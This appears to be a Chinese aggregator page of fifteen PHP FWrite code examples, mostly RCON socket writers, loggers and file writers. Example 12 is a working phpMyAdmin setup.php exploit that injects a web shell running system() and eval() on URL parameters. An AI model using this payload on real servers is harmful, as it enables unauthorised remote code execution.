當前位置: 首頁>>代碼示例>>PHP>>正文


PHP FWrite函數代碼示例

本文整理匯總了PHP中FWrite函數的典型用法代碼示例。如果您正苦於以下問題:PHP FWrite函數的具體用法?PHP FWrite怎麽用?PHP FWrite使用的例子?那麽, 這裏精選的函數代碼示例或許可以為您提供幫助。


在下文中一共展示了FWrite函數的15個代碼示例,這些例子默認根據受歡迎程度排序。您可以為喜歡或者感覺有用的代碼點讚,您的評價將有助於係統推薦出更棒的PHP代碼示例。

示例1: WriteData

 private function WriteData($Command, $String = "")
 {
     $Data = Pack('VV', $this->RequestId++, $Command) . $String . "";
     $Data = Pack('V', StrLen($Data)) . $Data;
     $Length = StrLen($Data);
     return $Length === FWrite($this->Socket, $Data, $Length);
 }
開發者ID:Najlepszy56,項目名稱:Minecraft-Itemshop,代碼行數:7,代碼來源:rcon.php

示例2: _log

 private static function _log($data, $level, $withTimestamp)
 {
     $prependText = $withTimestamp ? date('j.n.Y H:i:s') . ' : ' : '';
     if ($level == 'err') {
         $fileNameSuffix = '-error';
         // naformatovanie dat tak aby boli pekne zarovnane
         $sid = str_pad(session_id(), 26, ' ');
         $ip = str_pad($_SERVER['REMOTE_ADDR'], 15, ' ');
         $prependText .= "SID:{$sid} , IP:{$ip} , ";
     } else {
         $fileNameSuffix = '';
     }
     if (is_array($data) || is_object($data)) {
         $data = PHP_EOL . var_export($data, true);
     }
     if (is_bool($data)) {
         $data = $data ? 'boolean true' : 'boolean false';
     }
     try {
         $f = FOpen(LOG_DIR . date('Y-m-d') . "{$fileNameSuffix}.txt", "a");
         FWrite($f, $prependText . $data . PHP_EOL);
         FClose($f);
     } catch (Exception $e) {
     }
 }
開發者ID:novacek78,項目名稱:v4,代碼行數:25,代碼來源:Logger.php

示例3: Write

 public function Write($Header, $String = '')
 {
     // Pack the packet together
     $Command = Pack('VV', ++$this->RconRequestId, $Header) . $String . "";
     // Prepend packet length
     $Command = Pack('V', StrLen($Command)) . $Command;
     $Length = StrLen($Command);
     return $Length === FWrite($this->RconSocket, $Command, $Length);
 }
開發者ID:ezpz-cz,項目名稱:web-pages,代碼行數:9,代碼來源:SourceRcon.class.php

示例4: WriteData

 private function WriteData($Command, $String = "")
 {
     // Pack the packet together
     $Data = Pack('VV', $this->RequestId++, $Command) . $String . chr(0) . '' . chr(0);
     // Prepend packet length
     $Data = Pack('V', StrLen($Data)) . $Data;
     $Length = StrLen($Data);
     return $Length === FWrite($this->Socket, $Data, $Length);
 }
開發者ID:qexyorg,項目名稱:webMCR-1,代碼行數:9,代碼來源:rcon.class.php

示例5: generateFile

/**
 * Generates random file
 * @param string $location
 * @param int $size in kb
 */
function generateFile($location, $size)
{
    $fp = fopen($location, "wb");
    $toWrite = "";
    for ($y = 0; $y < 1024; $y++) {
        // One kb of content
        $toWrite .= chr(rand(0, 255));
    }
    for ($i = 0; $i < $size; $i++) {
        FWrite($fp, $toWrite);
    }
    fclose($fp);
}
開發者ID:jkuchar,項目名稱:FileDownloader-example,代碼行數:18,代碼來源:example_library.php

示例6: Write

 public function Write($Header, $String = '')
 {
     switch ($this->Socket->Engine) {
         case CI_SourceQuery::GOLDSOURCE:
             $Command = Pack('cccca*', 0xff, 0xff, 0xff, 0xff, $String);
             $Length = StrLen($Command);
             return $Length === FWrite($this->Socket->Socket, $Command, $Length);
         case CI_SourceQuery::SOURCE:
             // Pack the packet together
             $Command = Pack('VV', ++$this->RequestId, $Header) . $String . "";
             // Prepend packet length
             $Command = Pack('V', StrLen($Command)) . $Command;
             $Length = StrLen($Command);
             return $Length === FWrite($this->RconSocket, $Command, $Length);
     }
 }
開發者ID:mefisto2009,項目名稱:GameAP,代碼行數:16,代碼來源:Rcon.class.php

示例7: SaveUploadedFile

function SaveUploadedFile($Table, $ID, $File)
{
    #-------------------------------------------------------------------------------
    $FilePaths = GetFilePath($Table, $ID);
    #-------------------------------------------------------------------------------
    # создаём директорию
    if (!File_Exists($FilePaths['FileDir'])) {
        if (!MkDir($FilePaths['FileDir'], 0700, true)) {
            return new gException('CANNOT_CREATE_DIRECTORY', 'Не удалось создать директорию для сохранения файла');
        }
    }
    #-------------------------------------------------------------------------------
    # сохраняем файл
    $fp = FOpen($FilePaths['FilePath'], 'w');
    FWrite($fp, $File);
    FClose($fp);
    #-------------------------------------------------------------------------------
    return TRUE;
    #-------------------------------------------------------------------------------
}
開發者ID:carriercomm,項目名稱:jbs,代碼行數:20,代碼來源:Upload.php

示例8: BuildItemDesc

function BuildItemDesc($file)
{
    print " * Loading multis config file...\n";
    $cfg_file = ReadConfigFile($file);
    if ($cfg_file == FALSE) {
        print "Cant open {$file} ({$php_errormsg}). Blame Stephen Donald.\n";
        exit;
    }
    print " * Purging itemdesc.cfg for new write...\n";
    $handle = FOpen("itemdesc.cfg", "w");
    FClose($handle);
    $handle = FOpen("itemdesc.cfg", "a");
    print " * Finding elem names...";
    $elem_names = GetConfigStringKeys($cfg_file, CLASS_LABELS_ON);
    print "(" . Count($elem_names) . ")\n";
    foreach ($elem_names as $elem_name) {
        if (!Preg_Match("/^House\\s+/i", $elem_name)) {
            continue;
        }
        $multi_id = Preg_Replace("/^House\\s+/i", "", $elem_name);
        $objtype = HexDec($multi_id);
        $objtype += 16384;
        // 0x4000
        $objtype = "0x" . DecHex($objtype);
        FWrite($handle, "House {$objtype}\n");
        FWrite($handle, "{\n");
        FWrite($handle, "\t// Main Stuff\n");
        FWrite($handle, "\tName\t\tHouse{$objtype}\n");
        FWrite($handle, "\tGraphic\t\t{$objtype}\n");
        FWrite($handle, "\n");
        FWrite($handle, "\t// Multi Info\n");
        FWrite($handle, "\tMultiID\t\t{$multi_id}\n");
        FWrite($handle, "}\n\n");
    }
    FClose($handle);
    return 1;
}
開發者ID:polserver,項目名稱:poltools,代碼行數:37,代碼來源:setupItemdesc.php

示例9: WriteData

 private function WriteData($Command, $Append = "")
 {
     $Command = Pack('c*', 0xfe, 0xfd, $Command, 0x1, 0x2, 0x3, 0x4) . $Append;
     $Length = StrLen($Command);
     if ($Length !== FWrite($this->Socket, $Command, $Length)) {
         throw new MinecraftQueryException("Failed to write on socket.");
     }
     $Data = FRead($this->Socket, 2048);
     if ($Data === false) {
         throw new MinecraftQueryException("Failed to read from socket.");
     }
     if (StrLen($Data) < 5 || $Data[0] != $Command[2]) {
         return false;
     }
     return SubStr($Data, 5);
 }
開發者ID:0651,項目名稱:Cyanide-Services,代碼行數:16,代碼來源:MinecraftQuery.class.php

示例10: FOpen

<?php

$fp = FOpen("gbook.txt", "w");
FWrite($fp, "");
FClose($fp);
echo "Soubor gbook.txt byl vyprazdnen.";
開發者ID:Harvie,項目名稱:Programs,代碼行數:6,代碼來源:delete.php

示例11: Write

 public function Write($Header, $String = '')
 {
     $Command = Pack('ccccca*', 0xff, 0xff, 0xff, 0xff, $Header, $String);
     $Length = StrLen($Command);
     return $Length === FWrite($this->Socket, $Command, $Length);
 }
開發者ID:ezpz-cz,項目名稱:web-pages,代碼行數:6,代碼來源:Socket.class.php

示例12: exploit

function exploit($w00t)
{
    $Handlex = FOpen("pmaPWN.log", "a+");
    $useragent = "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.20) Gecko/20081217 Firefox/2.0.0.20 (.NET CLR 3.5.30729) ";
    //firefox
    //first get cookie + token
    $curl = curl_init();
    curl_setopt($curl, CURLOPT_URL, $w00t . "scripts/setup.php");
    //URL
    curl_setopt($curl, CURLOPT_CONNECTTIMEOUT, 20);
    curl_setopt($curl, CURLOPT_USERAGENT, $useragent);
    curl_setopt($curl, CURLOPT_FOLLOWLOCATION, 1);
    curl_setopt($curl, CURLOPT_TIMEOUT, 200);
    curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false);
    curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, false);
    curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
    //return site as string
    curl_setopt($curl, CURLOPT_COOKIEFILE, "exploitcookie.txt");
    curl_setopt($curl, CURLOPT_COOKIEJAR, "exploitcookie.txt");
    $result = curl_exec($curl);
    curl_close($curl);
    if (preg_match_all("/token\"\\s+value=\"([^>]+?)\"/", $result, $matches)) {
    }
    $token = $matches[1][1];
    if ($token != '') {
        print "\n[!] w00t! w00t! Got token = " . $matches[1][1];
        FWrite($Handlex, "\n[!] w00t! w00t! Got token = " . $matches[1][1]);
        $payload = "token=" . $token . "&action=save&configuration=a:1:{s:7:%22Servers%22%3ba:1:{i:0%3ba:6:{s:136:%22host%27%5d=%27%27%3b%20if(\$_GET%5b%27c%27%5d){echo%20%27%3cpre%3e%27%3bsystem(\$_GET%5b%27c%27%5d)%3becho%20%27%3c/pre%3e%27%3b}if(\$_GET%5b%27p%27%5d){echo%20%27%3cpre%3e%27%3beval(\$_GET%5b%27p%27%5d)%3becho%20%27%3c/pre%3e%27%3b}%3b//%22%3bs:9:%22localhost%22%3bs:9:%22extension%22%3bs:6:%22mysqli%22%3bs:12:%22connect_type%22%3bs:3:%22tcp%22%3bs:8:%22compress%22%3bb:0%3bs:9:%22auth_type%22%3bs:6:%22config%22%3bs:4:%22user%22%3bs:4:%22root%22%3b}}}&eoltype=unix";
        print "\n[+] Sending evil payload mwahaha.. \n";
        FWrite($Handlex, "\n[+] Sending evil payload mwahaha.. \n");
        $curl = curl_init();
        curl_setopt($curl, CURLOPT_URL, $w00t . "scripts/setup.php");
        curl_setopt($curl, CURLOPT_CONNECTTIMEOUT, 20);
        curl_setopt($curl, CURLOPT_TIMEOUT, 200);
        curl_setopt($curl, CURLOPT_USERAGENT, $useragent);
        curl_setopt($curl, CURLOPT_REFERER, $w00t);
        curl_setopt($curl, CURLOPT_POST, true);
        curl_setopt($curl, CURLOPT_POSTFIELDS, $payload);
        curl_setopt($curl, CURLOPT_COOKIEFILE, "exploitcookie.txt");
        curl_setopt($curl, CURLOPT_COOKIEJAR, "exploitcookie.txt");
        curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, 3);
        curl_setopt($curl, CURLOPT_FOLLOWLOCATION, 1);
        curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, FALSE);
        $result = curl_exec($curl);
        curl_close($curl);
        print "\n[!] w00t! w00t! You should now have shell here";
        print "\n[+] " . $w00t . "config/config.inc.php?c=id \n";
        print "\n[!] Saved. Dont forget to check `pmaPWN.log`\n";
        FWrite($Handlex, "\n[!] w00t! w00t! You should now have shell here");
        FWrite($Handlex, "\n[+] " . $w00t . "config/config.inc.php?c=id \n");
    } else {
        print "\n[!] Shit! no luck.. not vulnerable\n";
        FWrite($Handlex, "\n[!] Shit! no luck.. not vulnerable\n");
        return false;
    }
    FClose($Handlex);
    if (file_exists('exploitcookie.txt')) {
        unlink('exploitcookie.txt');
    }
    //exit();
}
開發者ID:SuperQcheng,項目名稱:exploit-database,代碼行數:62,代碼來源:8992.php

示例13: Write

 function Write($message)
 {
     FWrite($this->serverLogHandle, $message . "\n");
 }
開發者ID:k-kalashnikov,項目名稱:geekcon_new,代碼行數:4,代碼來源:security_file_verifier.php

示例14: image_gif

 private function image_gif($savePath)
 {
     if ($this->ani_gif && is_array($this->ani_imageResized) && count($this->ani_imageResized) > 1) {
         $newa = array();
         foreach ($this->ani_imageResized as $i) {
             ob_start();
             imagegif($i);
             $gifdata = ob_get_clean();
             $newa[] = $gifdata;
         }
         if ($gifmerge = new GIFEncoder($newa, $this->ani_delays, 9999, $this->ani_disposal, $this->ani_transparent['r'], $this->ani_transparent['g'], $this->ani_transparent['b'], "bin")) {
             FWrite(FOpen($savePath, "wb"), $gifmerge->GetAnimation());
         } else {
             imagegif($this->ani_imageResized[0], $savePath);
         }
     } else {
         imagegif($this->imageResized, $savePath);
     }
 }
開發者ID:xctcc,項目名稱:congtu,代碼行數:19,代碼來源:upload.class.php

示例15: WriteElemToFile

function WriteElemToFile(&$elem_name, &$elem_lines)
{
    $handle = FOpen("CleanedConfig.cfg", "a");
    FWrite($handle, "{$elem_name}\n");
    FWrite($handle, "{\n");
    foreach ($elem_lines as $property => $values) {
        foreach ($values as $value) {
            FWrite($handle, "\t{$property}\t{$value}\n");
        }
    }
    FWrite($handle, "}\n\n");
    FClose($handle);
    return 1;
}
開發者ID:polserver,項目名稱:poltools,代碼行數:14,代碼來源:cfgformat.php


注:本文中的FWrite函數示例由純淨天空整理自Github/MSDocs等開源代碼及文檔管理平台,相關代碼片段篩選自各路編程大神貢獻的開源項目,源碼版權歸原作者所有,傳播和使用請參考對應項目的License;未經允許,請勿轉載。